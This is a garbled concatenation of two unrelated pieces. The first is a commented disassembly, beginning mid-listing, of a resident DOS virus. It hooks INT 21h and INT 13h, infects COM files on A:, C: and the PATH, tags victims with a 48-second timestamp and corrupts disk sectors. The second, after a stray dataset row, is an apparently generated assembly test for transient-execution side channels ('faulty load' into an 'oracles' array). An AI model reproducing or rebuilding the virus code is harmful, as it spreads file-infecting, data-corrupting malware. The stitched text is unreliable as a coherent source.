0175 03DA ADD BX,DX ; random byte in buffer
0177 26880F MOV ES:[BX],CL ; undefined value (first sector)
017A 5B POP BX ; restore buffer address
; write buffer back to disk
017B 5A POP DX ; disk/head
017C 59 POP CX ; track/sector
017D 9C PUSHF
017E 0E PUSH CS ; segment of return address
017F B88B01 MOV AX,018B ; offset of return address
0182 50 PUSH AX
0183 B80103 MOV AX,0301 ; write 1 sector
0186 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h
; exit to old INT 13h
018B 5F POP DI
018C 07 POP ES
018D 1F POP DS
018E 5A POP DX
018F 59 POP CX
0190 5B POP BX
0191 58 POP AX
0192 9D POPF
0193 2EFF2E0301 JMP DWORD PTR CS:[0103] ; INT 13h
0198 90 NOP
;---------------
; working area
; old INT 21h vector
0199 9E10
019B 1801
019D 26 0D ; segment of environment block
019F 80 00 ; address of command line
01A1 2B 0D ; CS
01A3 5C 00 ; first FCB in PSP
01A5 2B 0D ; CS
01A7 6C 00 ; second FCB in PSP
01A9 2B 0D ; CS
01AB CF 01 ; runtime SP
01AD 2B 0D ; old SS, CS
01AF 02 19 ; old SP
;------------
; local stack
01B1 9D01
01B3 857F
01B5 FF58
01B7 2B0D
01B9 2F01
01BB E37F
01BD D300
01BF 0001
02C1 2C00
01C3 260D
02C5 2B0D
01C7 430C
01C9 2903
01CB 2B0D
01CD 02F2
; end of local stack
;-------------------
01CF 90 NOP
01D0 90 NOP
;=====================
; INT 21h handler
01D1 9C PUSHF
01D2 56 PUSH SI
01D3 50 PUSH AX
01D4 53 PUSH BX
01D5 51 PUSH CX
01D6 52 PUSH DX
01D7 1E PUSH DS
01D8 06 PUSH ES
01D9 57 PUSH DI
01DA 80FC4B CMP AH,4B ; load and execute
01DD 7555 JNZ 0234 ; exit
01DF 1E PUSH DS
01E0 52 PUSH DX
01E1 0E PUSH CS
01E2 1F POP DS
01E3 C70698036906 MOV WORD PTR [0398],0669 ; virus length
01E9 E8E203 CALL 05CE ; intercept INT 24h and prepare local DTA
01EC 5F POP DI
01ED 07 POP ES
01EE 06 PUSH ES
01EF 57 PUSH DI
01F0 B80000 MOV AX,0000
01F3 B98000 MOV CX,0080
01F6 F2AE REPNZ SCASB
01F8 83F900 CMP CX,+00
01FB 7432 JZ 022F
01FD 4F DEC DI
01FE B05C MOV AL,5C ; '\'
0200 4F DEC DI
0201 AE SCASB
0202 75F9 JNZ 01FD
0204 57 PUSH DI
0205 59 POP CX
0206 5E POP SI
0207 1F POP DS
0208 0E PUSH CS
0209 07 POP ES
020A BF6906 MOV DI,0669 ; buffer (area behind virus code)
020D AC LODSB
020E AA STOSB
020F 3BF1 CMP SI,CX
0211 75FA JNZ 020D
0213 0E PUSH CS
0214 1F POP DS
0215 893EA203 MOV [03A2],DI
0219 BEAC03 MOV SI,03AC
021C B90600 MOV CX,0006
021F AC LODSB
0220 AA STOSB
0221 E2FC LOOP 021F
0223 BA6906 MOV DX,0669
0226 E87302 CALL 049C ; find and infect one COM file
0229 E8D703 CALL 0603 ; restore DTA and INT 24h
022C EB06 JMP 0234 ; exit
022E 90 NOP
022F 58 POP AX
0230 58 POP AX
0231 E8CF03 CALL 0603 ; restore DTA and INT 24h
; exit to old INT 21h
0234 90 NOP
0235 5F POP DI
0236 07 POP ES
0237 1F POP DS
0238 5A POP DX
0239 59 POP CX
023A 5B POP BX
023B 58 POP AX
023C 5E POP SI
023D 9D POPF
023E 2EFF2E9901 JMP DWORD PTR CS:[0199]
0243 90 NOP
;------------------------
; prepare Load & Execute
0244 8CC0 MOV AX,ES
0246 8BE8 MOV BP,AX
0248 8BD7 MOV DX,DI ; offset of victim name
024A 8CC8 MOV AX,CS
024C 8EC0 MOV ES,AX ; segment of victim name
024E BB9D01 MOV BX,019D ; run parameters
0251 06 PUSH ES
0252 53 PUSH BX
0253 8CC8 MOV AX,CS ; block segment
0255 8EC0 MOV ES,AX
0257 BBD300 MOV BX,00D3 ; block size in paragraphs
025A B44A MOV AH,4A ; resize memory block
025C CD21 INT 21
; free environment block
025E BF2C00 MOV DI,002C ; address of environment block in PSP
0261 8E05 MOV ES,[DI] ; segment of environment
0263 B80049 MOV AX,4900 ; free memory block
0266 CD21 INT 21
0268 5B POP BX
0269 07 POP ES
026A 58 POP AX
026B 8C0EAD01 MOV [01AD],CS
026F 8E16AD01 MOV SS,[01AD]
0273 8B26AB01 MOV SP,[01AB]
0277 8EDD MOV DS,BP
0279 50 PUSH AX
027A C3 RET
;===========================
; virus entry point
; look for resident part of virus in RAM
; on system with 3 floppy drives this test may hang the computer
; (unspecified I/O buffer BX)
027B B203 MOV DL,03 ; third floppy drive
027D B600 MOV DH,00 ; head 0
027F B100 MOV CL,00 ; first sector 0
0281 B500 MOV CH,00 ; track
0283 B80102 MOV AX,0201 ; read 1 sector
0286 BF3412 MOV DI,1234 ; is already in memory?
0289 CD13 INT 13
028B 81FF2143 CMP DI,4321 ; expected answer
028F 7503 JNZ 0294 ; memory is clear
0291 E92601 JMP 03BA ; exit
; intercept INT 21h and INT 13h
0294 B82135 MOV AX,3521 ; get INT 21h
0297 CD21 INT 21
0299 891E9901 MOV [0199],BX
029D 8C069B01 MOV [019B],ES
02A1 BAD101 MOV DX,01D1
02A4 B82125 MOV AX,2521 ; set INT 21h
02A7 CD21 INT 21
02A9 B435 MOV AH,35 ; get INT 13h
02AB B013 MOV AL,13
02AD CD21 INT 21
02AF 891E0301 MOV [0103],BX
02B3 8C060501 MOV [0105],ES
02B7 B425 MOV AH,25 ; set INT 13h
02B9 B013 MOV AL,13
02BB BA0701 MOV DX,0107
02BE CD21 INT 21
; prepare Load & Execute
02C0 BF2C00 MOV DI,002C ; address of environment in PSP
02C3 8B05 MOV AX,[DI]
02C5 A39D01 MOV [019D],AX
02C8 8C0EA101 MOV [01A1],CS
02CC C7069F018000 MOV WORD PTR [019F],0080 ; command line
02D2 8C0EA501 MOV [01A5],CS
02D6 C706A3015C00 MOV WORD PTR [01A3],005C ; first FCB in PSP
02DC 8C0EA901 MOV [01A9],CS
02E0 C706A7016C00 MOV WORD PTR [01A7],006C ; second FCB
; look for program name (DOS 3.x or higher)
02E6 FC CLD
02E7 BF2C00 MOV DI,002C ; segment of environment block
02EA 8E05 MOV ES,[DI]
02EC BF0000 MOV DI,0000 ; start of environment
02EF B80000 MOV AX,0000 ; end of block marker
02F2 B90080 MOV CX,8000 ; maxim block size
02F5 2BCF SUB CX,DI ; end of block
02F7 7230 JB 0329 ; not found
02F9 F2AE REPNZ SCASB
02FB B80000 MOV AX,0000
02FE AE SCASB
02FF 75EE JNZ 02EF
0301 B80100 MOV AX,0001
0304 AE SCASB
0305 7522 JNZ 0329
0307 B80000 MOV AX,0000
030A AE SCASB
030B 751C JNZ 0329
030D E834FF CALL 0244 ; prepare Load & Execute
0310 B8004B MOV AX,4B00 ; load and execute
0313 E86F00 CALL 0385 ; INT 21h
; clear environment block
0316 0E PUSH CS
0317 1F POP DS
0318 BF2C00 MOV DI,002C ; environment
031B B80000 MOV AX,0000 ; end of block marker
031E 8905 MOV [DI],AX ; start of block
0320 BAD300 MOV DX,00D3 ; size of virus block in paragraphs
0323 B80031 MOV AX,3100 ; terminate and state resident
0326 E85C00 CALL 0385 ; far call to INT 21h
; victim name not found (DOS < 3.0)
; execute command >C:\COMMAND.COM /P
0329 E818FF CALL 0244 ; prepare Load & Execute
032C 0E PUSH CS
032D 1F POP DS
032E BA7603 MOV DX,0376 ; 'c:\command.com',0
0331 57 PUSH DI
0332 BF8000 MOV DI,0080 ; command line
0335 C705022F MOV WORD PTR [DI],2F02 ; 2, '/'
0339 C74502500D MOV WORD PTR [DI+02],0D50 ; 'P', CR
033E 5F POP DI
033F B8004B MOV AX,4B00 ; load and execute
0342 E84000 CALL 0385 ; far call to INT 21h
0345 B86300 MOV AX,0063 ; 'c'
0348 57 PUSH DI
0349 BF7603 MOV DI,0376 ; 'c:\command.com',0
034C 8805 MOV [DI],AL
034E 5F POP DI
034F B8004B MOV AX,4B00 ; load and execute
0352 E83000 CALL 0385 ; far call to INT 21h
; restore INT 13h
0355 B81325 MOV AX,2513 ; set INT 13h
0358 8B160301 MOV DX,[0103]
035C FF360501 PUSH [0105]
0360 1F POP DS
0361 CD21 INT 21
; restore INT 13h
0363 B82125 MOV AX,2521
0366 8B169901 MOV DX,[0199]
036A FF369B01 PUSH [019B]
036E 1F POP DS
036F CD21 INT 21
0371 0E PUSH CS
0372 1F POP DS
0373 EB45 JMP 03BA
0375 90 NOP
0376 63 3A 5C 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 ; c:\COMMAND.COM
;---------------------
; FAR CALL to INT 21h
0385 2E8F069603 POP CS:[0396] ; offset of caller
038A 9C PUSHF ; prepare jump to INT 21h
038B 0E PUSH CS ; segment of return address
038C 2EFF369603 PUSH CS:[0396] ; offset of return addres
0391 2EFF2E9901 JMP DWORD PTR CS:[0199] ; CALL FAR INT 13h
;--------------
; working area
0396 96 05 ; place for offset of return address
0398 60 D2 ; length of victim
039A 80 00 ; old DTA offset
039C C2 0A ; old DTA segment
039E 00 00 ; counter ?
03A0 00 00 ; DS
03A2 FA CC ; working, end of path
03A4 50 41 54 48 3D ; PATH=
03A9 61 3A 5C 2A 2E 63 6F 6D 00 ; a:\*.com, 0
; old INT 24h
03B2 49 01 ; offset
03B4 48 09 ; segment
;==================
; INT 24h handler
03B6 90 NOP
03B7 B003 MOV AL,03
03B9 CF IRET
;---------------------------------
; virus alredy resident, continue
03BA 06 PUSH ES
03BB 1E PUSH DS
03BC 0E PUSH CS
03BD 1F POP DS
03BE 8F069901 POP [0199] ; old INT 21h offset
03C2 8F069B01 POP [019B] ; old INT 21h segment
03C6 E80502 CALL 05CE ; prepare INT 24h and DTA
03C9 BEA903 MOV SI,03A9 ; address of 'a:\*.com, 0'
03CC 8B3E9803 MOV DI,[0398] ; buffer outside viruse code
03D0 B90900 MOV CX,0009 ; number of bytes
03D3 AC LODSB
03D4 AA STOSB
03D5 E2FC LOOP 03D3
03D7 8B3E9803 MOV DI,[0398] ; buffer
03DB 83C703 ADD DI,+03
03DE 893EA203 MOV [03A2],DI
03E2 8B3E9803 MOV DI,[0398]
03E6 B86100 MOV AX,0061 ; drive 'a'
03E9 8805 MOV [DI],AL ; patch 'a:\*.com', 0
03EB 8BD7 MOV DX,DI ; buffer
03ED E8AC00 CALL 049C ; find and infect one COM program
03F0 BEA903 MOV SI,03A9
03F3 8B3E9803 MOV DI,[0398]
03F7 B90900 MOV CX,0009
03FA AC LODSB
03FB AA STOSB
03FC E2FC LOOP 03FA
03FE 8B3E9803 MOV DI,[0398]
0402 B86300 MOV AX,0063 ; drive 'c'
0405 8805 MOV [DI],AL ; patch 'a:\*.com', 0
0407 8BD7 MOV DX,DI
0409 E89000 CALL 049C ; find and infect one COM program
040C 7203 JB 0411
040E E91302 JMP 0624
0411 BF2C00 MOV DI,002C ; environment
0414 8E05 MOV ES,[DI]
0416 BF0000 MOV DI,0000
0419 BEA403 MOV SI,03A4 ; 'PATH='
041C 46 INC SI
041D B85000 MOV AX,0050 ; 'P'
0420 B90080 MOV CX,8000 ; max block size
0423 2BCF SUB CX,DI
0425 7303 JAE 042A
0427 E9FA01 JMP 0624 ; not found
042A F2AE REPNZ SCASB
042C B90400 MOV CX,0004
042F AC LODSB
0430 AE SCASB
0431 75E6 JNZ 0419
0433 E2FA LOOP 042F
0435 8B369803 MOV SI,[0398]
0439 56 PUSH SI
043A 57 PUSH DI
043B 5E POP SI
043C 5F POP DI
043D 06 PUSH ES
043E 0E PUSH CS
043F 07 POP ES
0440 1F POP DS
0441 AC LODSB
0442 AA STOSB
0443 3C3B CMP AL,3B ; ';' end of path marker
0445 7409 JZ 0450
0447 3C00 CMP AL,00 ; end of block marker
0449 7402 JZ 044D
044B EBF4 JMP 0441 ; end of block
044D BE0000 MOV SI,0000
0450 1E PUSH DS
0451 0E PUSH CS
0452 1F POP DS
0453 8F06A003 POP [03A0]
0457 89369E03 MOV [039E],SI
045B 4F DEC DI
045C 4F DEC DI
; check for last character '\', add if necessary
045D B05C MOV AL,5C ; '\'
045F 3805 CMP [DI],AL
0461 7403 JZ 0466
0463 47 INC DI
0464 8805 MOV [DI],AL
0466 47 INC DI
; form new path ....\*.com, 0
0467 BEAC03 MOV SI,03AC ; *.com
046A 893EA203 MOV [03A2],DI
046E B90600 MOV CX,0006 ; length
0471 AC LODSB
0472 AA STOSB
0473 E2FC LOOP 0471
0475 A19803 MOV AX,[0398] ; buffer
0478 8BD0 MOV DX,AX
047A E81F00 CALL 049C ; find and infect COM file
047D 7203 JB 0482
047F E9A201 JMP 0624
0482 833E9E0300 CMP WORD PTR [039E],+00
0487 7503 JNZ 048C
0489 E99801 JMP 0624
048C A19803 MOV AX,[0398]
048F 8BF8 MOV DI,AX
0491 8B369E03 MOV SI,[039E]
0495 FF36A003 PUSH [03A0]
0499 1F POP DS
049A EBA5 JMP 0441
;---------------------------------
; find and infect one COM program
049C 0E PUSH CS
049D 07 POP ES
049E B8004E MOV AX,4E00 ; find first
04A1 B90300 MOV CX,0003 ; hiden, read only
04A4 E8DEFE CALL 0385 ; far call to INT 21h
04A7 730C JAE 04B5
04A9 C3 RET
04AA B44F MOV AH,4F ; find next
04AC B90300 MOV CX,0003 ; hiden, read only
04AF E8D3FE CALL 0385 ; far call to INT 21h
04B2 7301 JAE 04B5
04B4 C3 RET
; start infection
04B5 8B3E9803 MOV DI,[0398] ; buffer
04B9 81C78000 ADD DI,0080 ; set DI to DTA
04BD 83C71A ADD DI,+1A ; file length
04C0 8B05 MOV AX,[DI]
04C2 2D0010 SUB AX,1000 ; minimum victim size
04C5 7215 JB 04DC ; file too small, find next
04C7 8B05 MOV AX,[DI] ; file size
04C9 2DFFEF SUB AX,EFFF ; maximum file size
04CC 730E JAE 04DC ; file too big, find next
04CE 83EF04 SUB DI,+04 ; file time stamp
04D1 8B05 MOV AX,[DI]
04D3 241F AND AL,1F ; extract seconds
04D5 3C18 CMP AL,18 ; 48 seconds
04D7 7403 JZ 04DC ; infected, find next
04D9 EB03 JMP 04DE ; continue
04DB 90 NOP
04DC EBCC JMP 04AA ; find next
; copy file name to buffer
04DE 83C708 ADD DI,+08
04E1 8BF7 MOV SI,DI
04E3 8B3EA203 MOV DI,[03A2]
04E7 AC LODSB
04E8 AA STOSB
04E9 3C00 CMP AL,00
04EB 75FA JNZ 04E7
; find new file length
04ED 8B3E9803 MOV DI,[0398]
04F1 81C78000 ADD DI,0080 ; set DI to local DTA
04F5 83C71A ADD DI,+1A ; file length
04F8 8B05 MOV AX,[DI]
04FA 056906 ADD AX,0669 ; new file length
04FD FF369803 PUSH [0398]
0501 50 PUSH AX
; clear flag Read Only
0502 8B169803 MOV DX,[0398]
0506 B80043 MOV AX,4300 ; get attributes
0509 E879FE CALL 0385 ; far call to INT 21h
050C 890EC805 MOV [05C8],CX ; store old attributes
0510 81E1FEFF AND CX,FFFE ; clear read only flag
0514 B80143 MOV AX,4301 ; set attributes
0517 E86BFE CALL 0385 ; far call to INT 21h
051A 7233 JB 054F ; error, exit
; open file for read/write
051C B8023D MOV AX,3D02 ; open file for read/write
051F E863FE CALL 0385 ; far call to INT 21h
0522 722B JB 054F ; error, exit
; set 48 second in file time stamp
0524 8BD8 MOV BX,AX ; hundle
0526 B80057 MOV AX,5700 ; get time stamp
0529 E859FE CALL 0385 ; far call to INT 21h
052C 81E1E0FF AND CX,FFE0 ; clear seconds
0530 83C118 ADD CX,+18 ; set to 48
0533 890ECA05 MOV [05CA],CX ; store for later
0537 8916CC05 MOV [05CC],DX
; copy first 669h bytes of file to the end
; read beginnig of file (669h bytes)
053B B96906 MOV CX,0669 ; virus length
053E 81E90001 SUB CX,0100 ; size of PSP
0542 8B169803 MOV DX,[0398]
0546 81C20001 ADD DX,0100 ; buffer
054A B43F MOV AH,3F ; read file
054C E836FE CALL 0385 ; far call to INT 21h
054F 7271 JB 05C2 ; error, exit
; move file ptr back to BOF
0551 8BFA MOV DI,DX
0553 BA0000 MOV DX,0000
0556 B90000 MOV CX,0000
0559 B80242 MOV AX,4202 ; move file ptr to EOF
055C E826FE CALL 0385 ; far call to INT 21h
055F 7261 JB 05C2 ; error, exit
; vrite virus code to file
0561 8BD7 MOV DX,DI
0563 B96906 MOV CX,0669 ; virus length
0566 81E90001 SUB CX,0100
056A B440 MOV AH,40 ; write file
056C E816FE CALL 0385 ; far call to INT 21h
056F 7251 JB 05C2 ; error, exit
; move file ptr to EOF
0571 BA0000 MOV DX,0000
0574 B90000 MOV CX,0000
0577 B80042 MOV AX,4200 ; move file ptr to BOF
057A E808FE CALL 0385 ; far call to INT 21h
057D 7243 JB 05C2
; write to file its beginning block
057F 8F069803 POP [0398]
0583 FF369803 PUSH [0398]
0587 B96906 MOV CX,0669 ; end of virus code
058A 81E90001 SUB CX,0100 ; size of PSP
058E BA0001 MOV DX,0100 ; from buffer
0591 B440 MOV AH,40 ; write file
0593 E8EFFD CALL 0385 ; far call to INT 21h
0596 722A JB 05C2
; error, exit
; restore file time stamp
0598 8B0ECA05 MOV CX,[05CA] ; restore time stamp
059C 8B16CC05 MOV DX,[05CC] ; restore date stamp
05A0 B80157 MOV AX,5701 ; set file time stamp
05A3 E8DFFD CALL 0385 ; far call to INT 21h
; close file
05A6 B43E MOV AH,3E ; close file
05A8 E8DAFD CALL 0385 ; far call to INT 21h
; restore file attributes
05AB 8F069803 POP [0398]
05AF 8F069803 POP [0398]
05B3 8B169803 MOV DX,[0398]
05B7 8B0EC805 MOV CX,[05C8] ; retore file attributes
05BB B80143 MOV AX,4301 ; set file attributes
05BE E8C4FD CALL 0385 ; far call to INT 21h
05C1 C3 RET
; exit after any error
05C2 58 POP AX
05C3 8F069803 POP [0398]
05C7 C3 RET
05C8 20 00 ; file attributes
05CA D8A8 ; file time stamp
05CC D516 ; file date stamp
;-----------------------------------------
; intercept INT 24h and prepare local DTA
; get INT 24h
05CE B82435 MOV AX,3524 ; get INT 24h
05D1 E8B1FD CALL 0385 ; far call to INT 21h
05D4 891EB203 MOV [03B2],BX
05D8 8C06B403 MOV [03B4],ES
; set new INT 24h
05DC B425 MOV AH,25 ; set
05DE B024 MOV AL,24 ; int 24h
05E0 BAB603 MOV DX,03B6 ; offset of new handler
05E3 E89FFD CALL 0385 ; far call to INT 21h
; get current DTA
05E6 B42F MOV AH,2F ; get DTA
05E8 E89AFD CALL 0385 ; far call to INT 21h
05EB 8C069C03 MOV [039C],ES
05EF 891E9A03 MOV [039A],BX
; set new local DTA
05F3 B41A MOV AH,1A ; set DTA
05F5 0E PUSH CS
05F6 1F POP DS
05F7 8B169803 MOV DX,[0398]
05FB 81C28000 ADD DX,0080
05FF E883FD CALL 0385 ; far call to INT 21h
0602 C3 RET
;-------------------------
; restore INT 24h and DTA
; prepare registers
0603 0E PUSH CS
0604 1F POP DS
0605 0E PUSH CS
0606 07 POP ES
; restore INT 24h
0607 B82425 MOV AX,2524 ; set INT 24h
060A 8B16B203 MOV DX,[03B2]
060E 8E1EB403 MOV DS,[03B4]
0612 E870FD CALL 0385 ; far call to INT 21h
; retsore DTA
0615 8B169A03 MOV DX,[039A]
0619 FF369C03 PUSH [039C]
061D 1F POP DS
061E B41A MOV AH,1A
0620 E862FD CALL 0385 ; far call to INT 21h
0623 C3 RET
;---------------------
; exit to application
0624 E8DCFF CALL 0603 ; restore INT 24h and DTA
0627 0E PUSH CS
0628 1F POP DS
0629 BE3E06 MOV SI,063E ; start of oryginal code
062C 8B3E9803 MOV DI,[0398] ; length of victim
; copy victim code
0630 AC LODSB
0631 AA STOSB
0632 81FE6906 CMP SI,0669
0636 75F8 JNZ 0630
0638 8B3E9803 MOV DI,[0398] ; RET address
063C 57 PUSH DI
063D C3 RET
063E B96906 MOV CX,0669
0641 81E90001 SUB CX,0100
0645 8B369803 MOV SI,[0398]
0649 2BF1 SUB SI,CX
064B 0E PUSH CS
064C 1F POP DS
064D BF0001 MOV DI,0100
0650 AC LODSB
0651 AA STOSB
0652 E2FC LOOP 0650
0654 33C0 XOR AX,AX
0656 33DB XOR BX,BX
0658 33C9 XOR CX,CX
065A 33D2 XOR DX,DX
065C 33F6 XOR SI,SI
065E BF0001 MOV DI,0100
0661 57 PUSH DI
0662 33FF XOR DI,DI
0664 33ED XOR BP,BP
0666 C3 RET
0667 90 NOP
0668 90 NOP
; end resident part of virus
;-----------------------------
; victim code
| 30.695364
| 79
| 0.494966
|
dcbc1654c1f4ab2ef55be31e5701fd175874902a
| 7,757
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_1245.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_1245.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_1245.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1dded, %rsi
nop
nop
nop
nop
lfence
mov (%rsi), %r12
nop
nop
xor $48203, %r12
lea addresses_WT_ht+0xc5ed, %r15
nop
nop
xor $34817, %rbx
mov $0x6162636465666768, %r12
movq %r12, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x5ded, %rsi
lea addresses_normal_ht+0x9155, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub %r10, %r10
mov $4, %rcx
rep movsw
nop
nop
nop
nop
xor %r15, %r15
lea addresses_A_ht+0x12ded, %rsi
lea addresses_WC_ht+0x15ded, %rdi
nop
nop
nop
nop
sub $6276, %r15
mov $105, %rcx
rep movsq
nop
nop
nop
add $64364, %r15
lea addresses_WC_ht+0xceed, %rcx
nop
nop
nop
nop
xor $22948, %rsi
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
xor $44529, %r12
lea addresses_UC_ht+0x1e4a5, %r15
nop
nop
nop
nop
add %rdx, %rdx
mov (%r15), %rcx
nop
inc %rcx
lea addresses_D_ht+0xcded, %r15
nop
nop
nop
nop
nop
xor %r10, %r10
mov (%r15), %cx
nop
nop
nop
nop
nop
cmp $56204, %r12
lea addresses_D_ht+0x1cfed, %rbx
nop
nop
nop
dec %rcx
mov $0x6162636465666768, %r15
movq %r15, (%rbx)
nop
nop
nop
nop
add $24413, %r12
lea addresses_A_ht+0xcf4d, %r12
clflush (%r12)
nop
nop
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %r10
movq %r10, %xmm5
vmovups %ymm5, (%r12)
nop
nop
cmp $19993, %rdx
lea addresses_A_ht+0x562d, %rdx
nop
nop
and %rbx, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
nop
nop
nop
sub %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rdx
// Store
lea addresses_RW+0x1546d, %rdx
nop
nop
nop
nop
nop
add $45800, %r12
movw $0x5152, (%rdx)
dec %r8
// Store
lea addresses_A+0xa8cd, %r8
add %r15, %r15
movb $0x51, (%r8)
nop
nop
xor $48008, %rdx
// Store
lea addresses_RW+0xb095, %rdx
nop
sub %r8, %r8
mov $0x5152535455565758, %r15
movq %r15, %xmm2
movups %xmm2, (%rdx)
nop
nop
nop
nop
nop
dec %r12
// Load
lea addresses_RW+0x1900d, %r8
nop
nop
nop
nop
nop
sub $27818, %rbp
mov (%r8), %dx
nop
nop
nop
nop
nop
add %rdx, %rdx
// Store
mov $0x7ad, %rdx
add %rax, %rax
movl $0x51525354, (%rdx)
nop
nop
sub %rdx, %rdx
// Faulty Load
lea addresses_US+0xaded, %r12
nop
nop
nop
cmp $59994, %rbp
mov (%r12), %r15d
lea oracles, %rdx
and $0xff, %r15
shlq $12, %r15
mov (%rdx,%r15,1), %r15
pop %rdx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_RW', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_RW', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_P', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 